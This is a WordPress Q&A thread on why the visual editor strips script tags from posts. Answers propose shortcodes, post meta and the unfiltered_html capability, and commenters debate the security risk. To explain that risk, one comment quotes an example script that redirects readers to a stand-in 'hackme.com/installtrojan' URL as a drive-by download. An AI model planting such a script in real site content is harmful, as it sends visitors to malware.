2

Ok, I've seen solutions which go halfway to sorting out this problem, but nothing definitive, and nothing that 100% solves my problem.

Scenario:

  • In HTML mode, I add some javascript to a post I'm editing.
  • I switch to Visual, then back to HTML, and the tag and all of its content are gone.

How do I stop this from happening? I've tried adding custom code to my functions.php trying to access the extended_valid_elements for TinyMCE, but nothing works.

Please help!

  • Are you using WordPress as a single installation or in multisite mode? – Matthew Boynes Oct 2 '12 at 13:25
  • This is essentially a gaping security hole you're trying to open – Tom J Nowell Oct 2 '12 at 13:32
  • Why do you want to do this? – Tom J Nowell Oct 2 '12 at 15:55
  • Hi, the main reason for wanting to do this is because on a few sites I run, I commonly insert Google Adsense code within the body of posts. The CPC is much greater this way, and I often experiment with different ads. The pages that have the Adsense JS code are often edited in Visual mode, and it is such a pain that I have to constantly copy and paste the JS code back in when it gets removed. I appreciate the security concerns, but then if my login was breached then it opens up much more problems than just JS issues - the very nature of the breach itself would be a massive problem. – pixelkicks Oct 2 '12 at 20:06
  • 1
    Then it appears you have asked for a fix for your kludge, the correct question to ask would be how to add adsense into the middle of posts, to which the correct answer would have been a shortcode, and there are many available, likely one a custom one would have been posted and you'd have gotten much reputation for asking and several badges for noteworthy question. Instead you asked how to put arbitrary Javascript into post content, and the response you got was that doing so was bad practice and a significant security hole. – Tom J Nowell Oct 2 '12 at 22:44
3

Adding JS to the content is very, very bad practice, and it's just asking to be hacked.

Add it via a shortcode, or if you really must, use a post meta/custom fields to store the js and display it after the content in your template using echo get_post_meta($post->ID,'post_javascript',true );

  • Hey Tom, I think it would be really helpful if you could provide some evidence as to why this is bad practice, and why it's asking to be hacked! – Matthew Boynes Oct 2 '12 at 14:47
  • 1
    because anyone can put anything into your content, be it something that makes your hyperlinks flash, or something that performs a drive by download. Anyone with access to your DB or with post edit access can use your site to spread malicious javascript – Tom J Nowell Oct 2 '12 at 15:54
  • It also mixes content/data with functionality/controllers, and makes your content non-portable across themes as changing themes would break the content. – Tom J Nowell Oct 2 '12 at 15:55
  • e.g. "Hello this is my first blogpost! <script>window.location="www.hackme.com/installtrojan";</script>" – Tom J Nowell Oct 2 '12 at 15:56
  • 9
    I would offer that "anyone with access to your DB or with post edit access" can ruin your day anyway, and implementing this via shortcode or post meta would make no difference in security. Likewise, I don't see shortcodes or post meta separating content/data with functionality/controllers any more than what @Buckers is asking. I think this is a good default for WordPress, don't get me wrong, but I personally see no harm in overriding this behavior with informed consent, nor do I see any security or orthogonality advantages of what you propose. But, hey, maybe I'm missing something? – Matthew Boynes Oct 2 '12 at 18:15
2

This can be quite easily done by granting the unfiltered_html capability to whichever role you're interested in allowing SCRIPT and IFRAME tags. Obviously, as mentioned by others, there's inherent security risks, so be judicious about it.

To learn more about granting capabilities, see The WordPress Codex entry on add_cap().

1

Without mucking about with template PHP code, you can workaround the OP problem - as well as the problem where on multisite no one other than super-admin gets the unfiltered_html capability mentioned by @Tom Auger - by installing the "Shortcoder" plugin - it allows you to create "custom shortcodes" that simply render some text. This could be anything - including Javascript.

I create a "custom shortcode" for each piece of code that I need (usually one for each page's distinct custom code) and then the visual editor sees the shortcode and doesn't remove it.

Its also great for Javascript code re-use, if you have multiple pages that need the same (or similar) code.

  • it is sounds very insecure on multisite,(anything that lets input unfiltered html is) and in any case, doesn't seem to be supported by the author any more – Mark Kaplun Mar 9 '17 at 17:43
  • @MarkKaplun - I'm not sure why you say the plugin is unsupported. It has not been updated recently, but that is likely because the author is busy with other things (see his posts in other forums). Anyway, it works fine on 4.7. – Guss Mar 9 '17 at 17:48
  • Regarding the security thing - I keep seeing answers on this site to the effect of "its not secure to do this or that, so don't do it". I think responders should stop enforcing their security model on other users. If the admin decided to install a plugin and have it available, I would assume they considered the security implications. On my WPMS setup, all users are trusted (I create them manually) so if I choose to make the Shortcoder plugin available, its because I've reviewed the security considerations and they are fine. I'd expect most WPMS installs to be in the same category. – Guss Mar 9 '17 at 17:50
  • 99.9% of wordpress users have zero understanding of the security implications of what they are doing. Users are never trusted, the problem is that you will discover it only after the fact, when it will be extremely hard to recover from that. – Mark Kaplun Mar 9 '17 at 18:12
  • as for the plugin, if the author can not be bothered to update the readme file to indicate it is supposed to work on a release which was released 3 months ago, it is a good indication he lost his interest in the plugin. – Mark Kaplun Mar 9 '17 at 18:14

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.